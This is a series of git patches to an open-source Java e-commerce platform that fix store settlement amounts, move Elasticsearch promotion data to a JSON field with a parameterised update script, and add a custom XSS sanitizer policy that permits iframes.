--- .../handler/impl/bill/BillExecute.java | 15 +++-- .../cn/lili/buyer/test/bill/BillTest.java | 61 +++++++++++++++++++ .../store/serviceimpl/BillServiceImpl.java | 5 +- 3 files changed, 70 insertions(+), 11 deletions(-) create mode 100644 consumer/src/test/java/cn/lili/buyer/test/bill/BillTest.java diff --git a/consumer/src/main/java/cn/lili/timetask/handler/impl/bill/BillExecute.java b/consumer/src/main/java/cn/lili/timetask/handler/impl/bill/BillExecute.java index f197ab07..958402db 100644 --- a/consumer/src/main/java/cn/lili/timetask/handler/impl/bill/BillExecute.java +++ b/consumer/src/main/java/cn/lili/timetask/handler/impl/bill/BillExecute.java @@ -3,13 +3,12 @@ package cn.lili.timetask.handler.impl.bill; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; import cn.lili.modules.store.entity.dto.StoreSettlementDay; -import cn.lili.modules.store.mapper.StoreDetailMapper; import cn.lili.modules.store.service.BillService; +import cn.lili.modules.store.service.StoreDetailService; import cn.lili.timetask.handler.EveryDayExecute; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; -import javax.annotation.Resource; import java.util.List; /** @@ -29,8 +28,8 @@ public class BillExecute implements EveryDayExecute { /** * 店铺详情 */ - @Resource - private StoreDetailMapper storeDetailMapper; + @Autowired + private StoreDetailService storeDetailService; /** * 1.查询今日待结算的商家 @@ -44,18 +43,18 @@ public class BillExecute implements EveryDayExecute { int day = DateUtil.date().dayOfMonth(); //获取待结算商家列表 - List storeList = storeDetailMapper.getSettlementStore(day); + List storeList = storeDetailService.getSettlementStore(day); //获取当前时间 - DateTime endTime =DateUtil.date(); + DateTime endTime = DateUtil.date(); //批量商家结算 for (StoreSettlementDay storeSettlementDay : storeList) { //生成结算单 - billService.createBill(storeSettlementDay.getStoreId(), storeSettlementDay.getSettlementDay(),endTime); + billService.createBill(storeSettlementDay.getStoreId(), storeSettlementDay.getSettlementDay(), endTime); //修改店铺结算时间 - storeDetailMapper.updateSettlementDay(storeSettlementDay.getStoreId(), endTime); + storeDetailService.updateSettlementDay(storeSettlementDay.getStoreId(), endTime); } } } diff --git a/consumer/src/test/java/cn/lili/buyer/test/bill/BillTest.java b/consumer/src/test/java/cn/lili/buyer/test/bill/BillTest.java new file mode 100644 index 00000000..969fa7fc --- /dev/null +++ b/consumer/src/test/java/cn/lili/buyer/test/bill/BillTest.java @@ -0,0 +1,61 @@ +package cn.lili.buyer.test.bill; + +import cn.hutool.core.date.DateTime; +import cn.hutool.core.date.DateUtil; +import cn.lili.modules.store.entity.dto.StoreSettlementDay; +import cn.lili.modules.store.service.BillService; +import cn.lili.modules.store.service.StoreDetailService; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.junit.jupiter.SpringExtension; + +import java.util.List; + +/** + * @author paulG + * @since 2022/1/10 + **/ +@ExtendWith(SpringExtension.class) +@SpringBootTest +public class BillTest { + + + /** + * 结算单 + */ + @Autowired + private BillService billService; + + /** + * 店铺详情 + */ + @Autowired + private StoreDetailService storeDetailService; + + @Test + void createBillTest() { + //获取当前天数 + int day = DateUtil.date().dayOfMonth(); + + //获取待结算商家列表 + List storeList = storeDetailService.getSettlementStore(day); + + //获取当前时间 + DateTime endTime = DateUtil.date(); + //批量商家结算 + for (StoreSettlementDay storeSettlementDay : storeList) { + + //生成结算单 + billService.createBill(storeSettlementDay.getStoreId(), storeSettlementDay.getSettlementDay(), endTime); + + //修改店铺结算时间 + storeDetailService.updateSettlementDay(storeSettlementDay.getStoreId(), endTime); + } + Assertions.assertTrue(true); + } + + +} diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java index 6597bf56..eab78d76 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java @@ -90,7 +90,7 @@ public class BillServiceImpl extends ServiceImpl implements Bi .eq("store_id", storeId) .eq("flow_type", FlowTypeEnum.PAY.name()) .between("create_time", startTime, endTime)); - Double orderPrice = 0D; + double orderPrice = 0D; if (orderBill != null) { bill.setOrderPrice(orderBill.getOrderPrice()); bill.setCommissionPrice(orderBill.getCommissionPrice()); @@ -99,8 +99,7 @@ public class BillServiceImpl extends ServiceImpl implements Bi bill.setPointSettlementPrice(orderBill.getPointSettlementPrice()); bill.setKanjiaSettlementPrice(orderBill.getKanjiaSettlementPrice()); //入账金额=订单金额+积分商品+砍价商品 - orderPrice = CurrencyUtil.add(CurrencyUtil.add(orderBill.getBillPrice(), orderBill.getPointSettlementPrice()), - orderBill.getKanjiaSettlementPrice()); + orderPrice = orderBill.getBillPrice(); } From ec8d511e9e270adec072919c32be5ec00ca50533 Mon Sep 17 00:00:00 2001 From: paulGao Date: Mon, 10 Jan 2022 18:04:38 +0800 Subject: [PATCH 140/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E5=BA=97=E9=93=BA?= =?UTF-8?q?=E7=BB=93=E7=AE=97=E5=8D=95=E7=BB=93=E7=AE=97=E9=87=91=E9=A2=9D?= =?UTF-8?q?=E5=AF=B9=E4=BA=8E=E7=A7=AF=E5=88=86=E5=95=86=E5=93=81=E5=92=8C?= =?UTF-8?q?=E7=A0=8D=E4=BB=B7=E5=95=86=E5=93=81=E9=87=8D=E5=A4=8D=E8=AE=A1?= =?UTF-8?q?=E7=AE=97=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../store/service/StoreDetailService.java | 18 ++++++++++++++ .../serviceimpl/StoreDetailServiceImpl.java | 24 +++++++++++++++++++ 2 files changed, 42 insertions(+) diff --git a/framework/src/main/java/cn/lili/modules/store/service/StoreDetailService.java b/framework/src/main/java/cn/lili/modules/store/service/StoreDetailService.java index e90ccc9e..07995f46 100644 --- a/framework/src/main/java/cn/lili/modules/store/service/StoreDetailService.java +++ b/framework/src/main/java/cn/lili/modules/store/service/StoreDetailService.java @@ -1,9 +1,11 @@ package cn.lili.modules.store.service; +import cn.hutool.core.date.DateTime; import cn.lili.modules.store.entity.dos.Store; import cn.lili.modules.store.entity.dos.StoreDetail; import cn.lili.modules.store.entity.dto.StoreAfterSaleAddressDTO; import cn.lili.modules.store.entity.dto.StoreSettingDTO; +import cn.lili.modules.store.entity.dto.StoreSettlementDay; import cn.lili.modules.store.entity.vos.StoreBasicInfoVO; import cn.lili.modules.store.entity.vos.StoreDetailVO; import cn.lili.modules.store.entity.vos.StoreManagementCategoryVO; @@ -120,4 +122,20 @@ public interface StoreDetailService extends IService { * @param merchantEuid 店铺客服信息 */ Boolean editMerchantEuid(String merchantEuid); + + /** + * 获取待结算店铺列表 + * + * @param day 结算日 + * @return 待结算店铺列表 + */ + List getSettlementStore(int day); + + /** + * 修改店铺的结算日 + * + * @param storeId 店铺ID + * @param dateTime 结算日 + */ + void updateSettlementDay(String storeId, DateTime dateTime); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java index 342f138f..c071f9b2 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java @@ -1,5 +1,6 @@ package cn.lili.modules.store.serviceimpl; +import cn.hutool.core.date.DateTime; import cn.hutool.core.map.MapUtil; import cn.hutool.json.JSONUtil; import cn.lili.common.properties.RocketmqCustomProperties; @@ -14,6 +15,7 @@ import cn.lili.modules.store.entity.dos.Store; import cn.lili.modules.store.entity.dos.StoreDetail; import cn.lili.modules.store.entity.dto.StoreAfterSaleAddressDTO; import cn.lili.modules.store.entity.dto.StoreSettingDTO; +import cn.lili.modules.store.entity.dto.StoreSettlementDay; import cn.lili.modules.store.entity.vos.StoreBasicInfoVO; import cn.lili.modules.store.entity.vos.StoreDetailVO; import cn.lili.modules.store.entity.vos.StoreManagementCategoryVO; @@ -115,6 +117,28 @@ public class StoreDetailServiceImpl extends ServiceImpl getSettlementStore(int day) { + return this.baseMapper.getSettlementStore(day); + } + + /** + * 修改店铺的结算日 + * + * @param storeId 店铺ID + * @param dateTime 结算日 + */ + @Override + public void updateSettlementDay(String storeId, DateTime dateTime) { + this.baseMapper.updateSettlementDay(storeId, dateTime); + } + @Override public StoreBasicInfoVO getStoreBasicInfoDTO(String storeId) { return this.baseMapper.getStoreBasicInfoDTO(storeId); From ad351688762accfec69acf5c617376d636d8adb1 Mon Sep 17 00:00:00 2001 From: paulGao Date: Mon, 10 Jan 2022 18:05:53 +0800 Subject: [PATCH 141/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E7=BC=96=E8=BE=91?= =?UTF-8?q?=E5=95=86=E5=93=81=E6=97=B6=E7=9A=84=E7=94=9F=E6=88=90=E7=B4=A2?= =?UTF-8?q?=E5=BC=95=EF=BC=8C=E5=A2=9E=E5=8A=A0=E4=BA=8B=E5=8A=A1=E7=9B=91?= =?UTF-8?q?=E5=90=AC=E5=9C=A8=E6=8F=90=E4=BA=A4=E5=90=8E=E5=8F=91=E9=80=81?= =?UTF-8?q?mq=E4=BF=A1=E6=81=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java | 3 +++ 1 file changed, 3 insertions(+) diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index 8f458c69..a7e67948 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -51,6 +51,8 @@ import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; +import org.springframework.transaction.event.TransactionPhase; +import org.springframework.transaction.event.TransactionalEventListener; import java.util.*; import java.util.stream.Collectors; @@ -564,6 +566,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i * @param goods 商品信息 */ @Override + @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT) public void generateEs(Goods goods) { // 不生成没有审核通过且没有上架的商品 if (!GoodsStatusEnum.UPPER.name().equals(goods.getMarketEnable()) || !GoodsAuthEnum.PASS.name().equals(goods.getAuthFlag())) { From a4d458bace4a13aac0df2d976b56364e9e31391b Mon Sep 17 00:00:00 2001 From: paulGao Date: Tue, 11 Jan 2022 11:20:54 +0800 Subject: [PATCH 142/145] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E8=87=AA=E5=AE=9A?= =?UTF-8?q?=E4=B9=89xss=E8=BF=87=E6=BB=A4=E7=AD=96=E7=95=A5=EF=BC=88?= =?UTF-8?q?=E5=8F=AF=E4=BF=9D=E5=AD=98iframe=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../filter/XssHttpServletRequestWrapper.java | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java index 2aca42cb..ad694aea 100644 --- a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java +++ b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java @@ -5,6 +5,8 @@ import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.http.HtmlUtil; import cn.hutool.json.JSONUtil; import lombok.extern.slf4j.Slf4j; +import org.owasp.html.HtmlPolicyBuilder; +import org.owasp.html.PolicyFactory; import org.owasp.html.Sanitizers; import javax.servlet.ReadListener; @@ -57,6 +59,24 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { "wechatpay", }; + //允许的标签 + private static final String[] allowedTags = {"h1", "h2", "h3", "h4", "h5", "h6", + "span", "strong", + "img", "video", "source", "iframe", "code", + "blockquote", "p", "div", + "ul", "ol", "li", + "table", "thead", "caption", "tbody", "tr", "th", "td", "br", + "a" + }; + + //需要转化的标签 + private static final String[] needTransformTags = {"article", "aside", "command", "datalist", "details", "figcaption", "figure", + "footer", "header", "hgroup", "section", "summary"}; + + //带有超链接的标签 + private static final String[] linkTags = {"img", "video", "source", "a", "iframe"}; + + public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } @@ -257,6 +277,17 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { private String cleanXSS(String value) { if (value != null) { + // 自定义策略 + PolicyFactory policy = new HtmlPolicyBuilder() + .allowStandardUrlProtocols() + //所有允许的标签 + .allowElements(allowedTags) + //内容标签转化为div + .allowElements((elementName, attributes) -> "div", needTransformTags) + .allowAttributes("src", "href", "target", "width", "height").onElements(linkTags) + //校验链接中的是否为http +// .allowUrlProtocols("https") + .toFactory(); // basic prepackaged policies for links, tables, integers, images, styles, blocks value = Sanitizers.FORMATTING .and(Sanitizers.STYLES) @@ -264,6 +295,7 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { .and(Sanitizers.LINKS) .and(Sanitizers.BLOCKS) .and(Sanitizers.TABLES) + .and(policy) .sanitize(value); } return HtmlUtil.unescape(value); From 77a714e64c88cc532156d9d127d4d884e92862a5 Mon Sep 17 00:00:00 2001 From: paulGao Date: Tue, 11 Jan 2022 11:25:56 +0800 Subject: [PATCH 143/145] =?UTF-8?q?=E4=BC=98=E5=8C=96es=E5=95=86=E5=93=81?= =?UTF-8?q?=E7=B4=A2=E5=BC=95=E7=9A=84mapping=E7=9A=84=E4=BF=83=E9=94=80?= =?UTF-8?q?=E5=AD=98=E5=82=A8=E7=BB=93=E6=9E=84=EF=BC=88=E8=A7=A3=E5=86=B3?= =?UTF-8?q?=E4=BF=83=E9=94=80=E8=BF=87=E5=A4=9A=E6=97=B6=EF=BC=8Cmapping?= =?UTF-8?q?=20explosion=E9=97=AE=E9=A2=98=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/listener/GoodsMessageListener.java | 2 +- .../lili/cache/config/redis/RedisConfig.java | 1 + .../lili/common/enums/PromotionTypeEnum.java | 2 +- .../BaseElasticsearchService.java | 3 +++ .../serviceimpl/GoodsSkuServiceImpl.java | 13 +------------ .../search/entity/dos/EsGoodsIndex.java | 10 ++++------ .../serviceimpl/EsGoodsIndexServiceImpl.java | 19 +++++++++---------- 7 files changed, 20 insertions(+), 30 deletions(-) diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 070b3b08..053ffcd2 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -390,7 +390,7 @@ public class GoodsMessageListener implements RocketMQListener { if (goodsIndex.getPromotionMap() == null || goodsIndex.getPromotionMap().isEmpty()) { Map goodsCurrentPromotionMap = promotionService.getGoodsPromotionMap(goodsIndex); - goodsIndex.setPromotionMap(goodsCurrentPromotionMap); + goodsIndex.setPromotionMapJson(JSONUtil.toJsonStr(goodsCurrentPromotionMap)); } } diff --git a/framework/src/main/java/cn/lili/cache/config/redis/RedisConfig.java b/framework/src/main/java/cn/lili/cache/config/redis/RedisConfig.java index 62d505b2..f7bf18e5 100644 --- a/framework/src/main/java/cn/lili/cache/config/redis/RedisConfig.java +++ b/framework/src/main/java/cn/lili/cache/config/redis/RedisConfig.java @@ -78,6 +78,7 @@ public class RedisConfig extends CachingConfigurerSupport { 可参考 https://blog.csdn.net/u012240455/article/details/80538540 */ ParserConfig.getGlobalInstance().addAccept("cn.lili."); + ParserConfig.getGlobalInstance().addAccept("cn.hutool.json."); return cacheManager; } diff --git a/framework/src/main/java/cn/lili/common/enums/PromotionTypeEnum.java b/framework/src/main/java/cn/lili/common/enums/PromotionTypeEnum.java index 68006dac..44dfa687 100644 --- a/framework/src/main/java/cn/lili/common/enums/PromotionTypeEnum.java +++ b/framework/src/main/java/cn/lili/common/enums/PromotionTypeEnum.java @@ -23,7 +23,7 @@ public enum PromotionTypeEnum { /** * 有促销库存的活动类型 */ - static PromotionTypeEnum[] haveStockPromotion = new PromotionTypeEnum[]{PINTUAN, SECKILL, KANJIA, POINTS_GOODS}; + static final PromotionTypeEnum[] haveStockPromotion = new PromotionTypeEnum[]{PINTUAN, SECKILL, KANJIA, POINTS_GOODS}; private final String description; diff --git a/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java b/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java index 59fe971d..5cc50ec4 100644 --- a/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java +++ b/framework/src/main/java/cn/lili/elasticsearch/BaseElasticsearchService.java @@ -331,6 +331,9 @@ public abstract class BaseElasticsearchService { " }\n" + " }\n" + " },\n" + + " \"promotionMapJson\": {\n" + + " \"type\": \"text\"\n" + + " },\n" + " \"thumbnail\": {\n" + " \"type\": \"text\",\n" + " \"fields\": {\n" + diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index a7e67948..ded1bd6a 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -4,7 +4,6 @@ import cn.hutool.core.convert.Convert; import cn.hutool.core.map.MapUtil; import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.core.util.NumberUtil; -import cn.hutool.core.util.StrUtil; import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; @@ -575,16 +574,6 @@ public class GoodsSkuServiceImpl extends ServiceImpl i String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GENERATOR_GOODS_INDEX.name(); //发送mq消息 rocketMQTemplate.asyncSend(destination, goods.getId(), RocketmqSendCallbackBuilder.commonCallback()); -// ThreadUtil.execAsync(() -> { -// try { -// // 延时执行,防止商品未保存完成就去生成商品索引导致生成索引时找不到商品问题 -// Thread.sleep(2000); -// -// } catch (InterruptedException e) { -// log.error("发送商品索引信息失败!", e); -// Thread.currentThread().interrupt(); -// } -// }); } /** @@ -719,7 +708,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i } //设置规格商品缩略图 //如果规格没有图片,则用商品图片复盖。有则增加规格图片,放在商品图片集合之前 - if (spec.getValue() != null && StrUtil.isNotEmpty(spec.getValue().toString())) { + if (CharSequenceUtil.isNotEmpty(spec.getValue().toString())) { thumbnail = goodsGalleryService.getGoodsGallery(images.get(0).get("url")).getThumbnail(); small = goodsGalleryService.getGoodsGallery(images.get(0).get("url")).getSmall(); } diff --git a/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java b/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java index 9576d6b9..cd5372de 100644 --- a/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java +++ b/framework/src/main/java/cn/lili/modules/search/entity/dos/EsGoodsIndex.java @@ -1,5 +1,6 @@ package cn.lili.modules.search.entity.dos; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.elasticsearch.EsSuffix; import cn.lili.modules.goods.entity.dos.GoodsSku; @@ -260,9 +261,6 @@ public class EsGoodsIndex implements Serializable { @ApiModelProperty(value = "商品类型", required = true) private String goodsType; - /** - * @see cn.lili.modules.goods.entity.enums.GoodsTypeEnum - */ @ApiModelProperty(value = "商品sku基础分数", required = true) private Integer skuSource; @@ -280,8 +278,8 @@ public class EsGoodsIndex implements Serializable { * value 为 促销活动实体信息 */ @Field(type = FieldType.Nested) - @ApiModelProperty("商品促销活动集合,key 为 促销活动类型,value 为 促销活动实体信息 ") - private Map promotionMap; + @ApiModelProperty("商品促销活动集合JSON,key 为 促销活动类型,value 为 促销活动实体信息 ") + private String promotionMapJson; public EsGoodsIndex(GoodsSku sku) { @@ -381,6 +379,6 @@ public class EsGoodsIndex implements Serializable { } public Map getPromotionMap() { - return PromotionTools.filterInvalidPromotionsMap(this.promotionMap); + return PromotionTools.filterInvalidPromotionsMap(JSONUtil.parseObj(this.promotionMapJson)); } } diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 1fb665ff..fc6e9dd0 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -46,6 +46,7 @@ import org.elasticsearch.index.query.TermQueryBuilder; import org.elasticsearch.index.reindex.BulkByScrollResponse; import org.elasticsearch.index.reindex.UpdateByQueryRequest; import org.elasticsearch.script.Script; +import org.elasticsearch.script.ScriptType; import org.mybatis.spring.MyBatisSystemException; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; @@ -451,7 +452,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements //如果存在同类型促销活动删除 List collect = promotionMap.keySet().stream().filter(i -> i.contains(promotionType.name())).collect(Collectors.toList()); collect.forEach(promotionMap::remove); - goodsIndex.setPromotionMap(promotionMap); + goodsIndex.setPromotionMapJson(JSONUtil.toJsonStr(promotionMap)); updateIndex(goodsIndex); } } else { @@ -503,7 +504,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements //如果存在同促销ID的活动删除 List collect = promotionMap.keySet().stream().filter(i -> i.split("-")[1].equals(promotionId)).collect(Collectors.toList()); collect.forEach(promotionMap::remove); - goodsIndex.setPromotionMap(promotionMap); + goodsIndex.setPromotionMapJson(JSONUtil.toJsonStr(promotionMap)); return this.getGoodsIndexPromotionUpdateRequest(goodsIndex.getId(), promotionMap); } return null; @@ -598,7 +599,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements //获取活动信息 Map goodsCurrentPromotionMap = promotionService.getGoodsPromotionMap(index); //写入促销信息 - index.setPromotionMap(goodsCurrentPromotionMap); + index.setPromotionMapJson(JSONUtil.toJsonStr(goodsCurrentPromotionMap)); return index; } @@ -634,16 +635,14 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements * @param promotionMap 促销信息 */ private UpdateRequest getGoodsIndexPromotionUpdateRequest(String id, Map promotionMap) { - JSONObject jsonObject = JSONUtil.parseObj(promotionMap); - jsonObject.setDateFormat("yyyy-MM-dd HH:mm:ss"); - String s = jsonObject.toString(); - String promotionsStr = s.replace("{", "[").replace("}", "]"); - UpdateRequest updateRequest = new UpdateRequest(); updateRequest.index(getIndexName()); updateRequest.id(id); updateRequest.retryOnConflict(5); - updateRequest.script(new Script("ctx._source." + "promotionMap" + "=" + promotionsStr + ";")); + Map params = new HashMap<>(); + params.put("promotionMap", JSONUtil.toJsonStr(promotionMap)); + Script script = new Script(ScriptType.INLINE, "painless", "ctx._source.promotionMapJson=params.promotionMap;", params); + updateRequest.script(script); return updateRequest; } @@ -758,7 +757,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } //促销索引 Map goodsCurrentPromotionMap = promotionService.getGoodsPromotionMap(index); - index.setPromotionMap(goodsCurrentPromotionMap); + index.setPromotionMapJson(JSONUtil.toJsonStr(goodsCurrentPromotionMap)); return index; } From 3c905ffd8bebe8f99220535621e7726916b3d415 Mon Sep 17 00:00:00 2001 From: paulGao Date: Tue, 11 Jan 2022 11:38:30 +0800 Subject: [PATCH 144/145] =?UTF-8?q?=E4=BC=98=E5=8C=96es=E5=95=86=E5=93=81?= =?UTF-8?q?=E7=B4=A2=E5=BC=95=E7=9A=84mapping=E7=9A=84=E4=BF=83=E9=94=80?= =?UTF-8?q?=E5=AD=98=E5=82=A8=E7=BB=93=E6=9E=84=EF=BC=88=E8=A7=A3=E5=86=B3?= =?UTF-8?q?=E4=BF=83=E9=94=80=E8=BF=87=E5=A4=9A=E6=97=B6=EF=BC=8Cmapping?= =?UTF-8?q?=20explosion=E9=97=AE=E9=A2=98=EF=BC=89?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../src/test/java/cn/lili/test/elasticsearch/EsTest.java | 4 ---- 1 file changed, 4 deletions(-) diff --git a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java index d3dc5fdf..3ecf49f3 100644 --- a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java +++ b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java @@ -26,7 +26,6 @@ import org.springframework.test.context.junit.jupiter.SpringExtension; import java.util.ArrayList; import java.util.List; -import java.util.Map; /** * @author paulG @@ -130,8 +129,6 @@ class EsTest { List esGoodsIndices = new ArrayList<>(); for (GoodsSku goodsSku : list) { EsGoodsIndex index = new EsGoodsIndex(goodsSku); - Map goodsCurrentPromotionMap = promotionService.getGoodsPromotionMap(index); - index.setPromotionMap(goodsCurrentPromotionMap); esGoodsIndices.add(index); cache.put(GoodsSkuService.getStockCacheKey(goodsSku.getId()), goodsSku.getQuantity()); } @@ -174,7 +171,6 @@ class EsTest { @Test void updateIndex() { EsGoodsIndex byId = esGoodsIndexService.findById("121"); - byId.setPromotionMap(null); esGoodsIndexService.updateIndex(byId); Assertions.assertTrue(true); } From 459a736ebcc4a7e3161d56e083caf34af9a8e3ee Mon Sep 17 00:00:00 2001 From: paulGao Date: Tue, 11 Jan 2022 12:10:54 +0800 Subject: [PATCH 145/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E5=95=86=E5=93=81?= =?UTF-8?q?=E5=AE=A1=E6=A0=B8=E5=92=8C=E7=BC=96=E8=BE=91=E5=95=86=E5=93=81?= =?UTF-8?q?=E7=BC=BA=E5=A4=B1=E5=AF=B9es=E6=93=8D=E4=BD=9C=E9=97=AE?= =?UTF-8?q?=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../main/java/cn/lili/listener/GoodsMessageListener.java | 1 + .../lili/modules/goods/serviceimpl/GoodsServiceImpl.java | 8 ++++---- .../modules/goods/serviceimpl/GoodsSkuServiceImpl.java | 2 +- 3 files changed, 6 insertions(+), 5 deletions(-) diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 053ffcd2..4b9f3053 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -188,6 +188,7 @@ public class GoodsMessageListener implements RocketMQListener { case GOODS_AUDIT: Goods goods = JSONUtil.toBean(new String(messageExt.getBody()), Goods.class); updateGoodsNum(goods); + updateGoodsIndex(goods); break; //删除商品 case GOODS_DELETE: diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index 683bf93b..b52dba6e 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -54,10 +54,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.Objects; +import java.util.*; /** * 商品业务层实现 @@ -197,6 +194,9 @@ public class GoodsServiceImpl extends ServiceImpl implements if (goodsOperationDTO.getGoodsGalleryList() != null && !goodsOperationDTO.getGoodsGalleryList().isEmpty()) { this.goodsGalleryService.add(goodsOperationDTO.getGoodsGalleryList(), goods.getId()); } + if (GoodsAuthEnum.TOBEAUDITED.name().equals(goods.getAuthFlag())) { + this.deleteEsGoods(Collections.singletonList(goodsId)); + } cache.remove(CachePrefix.GOODS.getPrefix() + goodsId); } diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index ded1bd6a..0badc920 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -172,7 +172,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i this.updateBatchById(newSkuList); } this.updateStock(newSkuList); - if (!newSkuList.isEmpty()) { + if (GoodsAuthEnum.PASS.name().equals(goods.getAuthFlag()) && !newSkuList.isEmpty()) { generateEs(goods); } }